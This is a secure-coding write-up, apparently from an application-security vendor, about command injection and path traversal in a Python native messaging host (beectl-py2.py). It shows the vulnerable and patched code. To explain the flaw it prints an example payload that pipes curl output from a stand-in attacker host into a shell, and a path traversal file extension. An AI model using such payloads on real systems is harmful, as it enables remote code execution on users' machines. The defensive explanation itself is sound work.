How Command Injection happens in Python subprocess calls and how to fix it

How Command Injection Happens in Python Subprocess Calls and How to Fix It

The host/beectl-py2.py file serves as the native messaging host that bridges a browser extension to a local text editor on the user's machine. It reads JSON from stdin, extracts an editor path and optional arguments, and launches the editor via Python's subprocess module. That pipeline — JSON in, process out — is exactly where this critical vulnerability lived.

At line 62, the original code contained this pattern:

if 'args' in conf:
    args = conf['args']
    args.insert(0, bee_editor)

conf is parsed directly from JSON sent by the browser extension. The args field — whatever the extension provided — was inserted into the subprocess call with zero validation. No type check. No content check. No allowlist. Just raw user data handed to the operating system.

The Vulnerability Explained

What Made This Exploitable

The native messaging protocol means the browser extension sends JSON to this Python script over stdin. In a normal flow, the JSON might look like:

{"editor": "/usr/bin/vim", "args": []}

But nothing in the original code prevented an attacker — who could modify the browser extension's stored configuration — from sending:

{
  "editor": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/malware.sh | sh"]
}

The original code would then build an args list of ["/bin/sh", "-c", "curl http://attacker.com/malware.sh | sh"] and pass it directly to subprocess. That's a complete shell invocation with attacker-controlled commands, running with the full privileges of the user who installed the browser extension.

The Second Attack Surface: File Extension Injection

There was a second, subtler vulnerability in the same function:

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']
f = list(tempfile.mkstemp(suffix, 'chrome_bee_'))

The text['ext'] value — also user-controlled — was concatenated directly into the mkstemp() suffix. An attacker could supply a value like ../../../etc/cron.d/evil to attempt path traversal in the temporary file creation, or inject characters that interact unexpectedly with the filesystem.

Why This Matters for This Application Specifically

This isn't a web server or a public API — it's a native host running on the user's own machine. That makes exploitation both easier (the attacker only needs to tamper with browser extension storage, a relatively low bar) and more dangerous (the process runs as the logged-in user, with access to their files, SSH keys, and credentials). The PR's own threat model notes the exploitation scenario explicitly: modify the stored configuration, inject the payload, and the next time the user opens the editor, the malicious command runs silently.

The Fix

The fix introduces two purpose-built validation functions added before main():

sanitize_args() — Blocking Subprocess Argument Injection

def sanitize_args(args):
    # Enforce expected structure: reject non-list, non-string elements, and NUL
    # bytes that would be silently truncated by execve().
    if not isinstance(args, list):
        sys.exit("Invalid args: expected a list")
    for a in args:
        if not isinstance(a, (str, unicode)):
            sys.exit("Invalid args: each argument must be a string")
        if u'\x00' in a:
            sys.exit("Invalid args: NUL byte in argument")
    return args

This function enforces three invariants:

1. args must be a list — prevents an attacker from passing a string or dict that might be iterable in unexpected ways.
2. Each element must be a string — prevents injection via non-string types that could coerce to dangerous values.
3. No NUL bytes — NUL bytes (\x00) are silently truncated by execve() at the OS level, which can be used to bypass filename or argument checks by appending a NUL followed by malicious content. This check closes that bypass.

The call site changes from:

if 'args' in conf:
    args = conf['args']

to:

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])

The additional conf and guard also prevents a None dereference if conf itself is null.

sanitize_ext() — Blocking Path Traversal in Temp File Creation

def sanitize_ext(ext):
    # ext is used verbatim as mkstemp() suffix; constrain to alphanumeric to
    # prevent path traversal.
    if not isinstance(ext, (str, unicode)) or not re.match(r'^[A-Za-z0-9]{1,16}$', ext):
        return 'txt'
    return ext

The regex ^[A-Za-z0-9]{1,16}$ is a strict allowlist: only letters and digits, 1–16 characters, nothing else. Any extension that doesn't match — including path separators, dots, or shell metacharacters — silently falls back to 'txt'. The call site simplifies to:

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))

This also uses dict.get() with a default, which is more idiomatic and avoids a KeyError if ext is absent.

Before and After

Before (vulnerable):

if 'args' in conf:
    args = conf['args']          # No type check, no content check
    args.insert(0, bee_editor)

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']  # Direct string concatenation, no validation

After (fixed):

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])  # Type-checked, NUL-checked
    args.insert(0, bee_editor)

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))  # Allowlist regex

The same fix was applied symmetrically to host/beectl-py3.py, ensuring both the Python 2 and Python 3 host scripts are protected.

Prevention & Best Practices

1. Never Trust JSON Fields Destined for Subprocess

Any field from an external source — even a "local" one like browser extension storage — that ends up in a subprocess.Popen, os.execve, or similar call must be validated before use. Treat browser extension configuration as untrusted input, because it can be modified by malicious extensions, XSS in the extension's options page, or direct filesystem manipulation.

2. Use Allowlists, Not Denylists

The sanitize_ext() regex ^[A-Za-z0-9]{1,16}$ is an allowlist — it defines exactly what is permitted. Denylists (blocking specific bad characters) are brittle and routinely bypassed. For subprocess arguments, consider whether you need user-supplied args at all; if you do, define the exact set of permitted values.

3. Check for NUL Bytes Explicitly

NUL byte injection (\x00) is a classic bypass technique that Python string handling won't catch automatically. The sanitize_args() function's explicit check for u'\x00' in a is a good pattern to copy whenever user input reaches OS-level calls.

4. Apply Fixes Symmetrically Across Language Versions

This codebase maintains both Python 2 (beectl-py2.py) and Python 3 (beectl-py3.py) versions of the same host script. The fix was correctly applied to both. When you patch a vulnerability in one version of a file, audit all sibling files with similar logic.

5. Relevant Standards

• OWASP OS Command Injection Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory (for the path traversal component)

Key Takeaways

• The args field in beectl-py2.py's JSON input was a direct injection point into subprocess — any field that flows to a process launch must be validated for type, content, and dangerous byte sequences.
• NUL bytes in subprocess arguments are silently truncated by execve(), making them a viable bypass for naive string-based checks; always test for \x00 explicitly.
• Allowlist regexes like ^[A-Za-z0-9]{1,16}$ are the right tool for constraining user-controlled filename components — they fail safely by design.
• Browser extension configuration is untrusted input — even though it originates "locally," it can be modified by attackers and must be treated with the same skepticism as HTTP request parameters.
• Symmetric fixes matter: the same vulnerability existed in beectl-py3.py and required the same fix — always audit sibling files when patching logic-level vulnerabilities.

How Orbis AppSec Detected This

• Source: User-controlled JSON input read from sys.stdin in host/beectl-py2.py, specifically the conf['args'] and text['ext'] fields.
• Sink: The args list passed to subprocess (built at line 89–92), and text['ext'] concatenated into the tempfile.mkstemp() suffix at line 101.
• Missing control: No type validation, no content validation, and no NUL-byte check on conf['args'] before subprocess execution; no allowlist or sanitization on text['ext'] before filesystem use.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
• Fix: Added sanitize_args() to enforce list type, string-only elements, and NUL-byte rejection, and sanitize_ext() to constrain file extensions to an alphanumeric allowlist before either value reaches a system call.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in beectl-py2.py is a textbook example of how a small trust assumption — "the browser extension controls this JSON, so it must be safe" — can open a direct path to arbitrary code execution. The conf['args'] array traveled from JSON input to subprocess with no stops for validation, and the text['ext'] string was concatenated into a filesystem path with equal naivety.

The fix is elegant precisely because it's explicit: sanitize_args() and sanitize_ext() each encode a clear contract about what valid input looks like, fail loudly when that contract is violated, and handle the NUL-byte edge case that many developers overlook. For anyone writing native messaging hosts, browser extension backends, or any Python code that bridges external input to subprocess, this pattern — validate type, validate content, check for NUL, use allowlists for filesystem values — is worth internalizing.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• OWASP OS Command Injection Defense Cheat Sheet
• Python subprocess documentation — security considerations
• Semgrep rules for Python subprocess injection
• fix: sanitize subprocess call in beectl-py2.py